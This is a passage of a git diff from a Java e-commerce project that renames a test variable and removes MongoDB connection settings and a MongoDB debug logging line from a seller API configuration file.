fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null); + IPage fullDiscountByPage = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null); - Assertions.assertNotNull(fullDiscountByPageFromMongo); + Assertions.assertNotNull(fullDiscountByPage); } @Test diff --git a/seller-api/src/main/resources/application.yml b/seller-api/src/main/resources/application.yml index ccbd076a..30690a2a 100644 --- a/seller-api/src/main/resources/application.yml +++ b/seller-api/src/main/resources/application.yml @@ -29,15 +29,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -171,7 +162,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs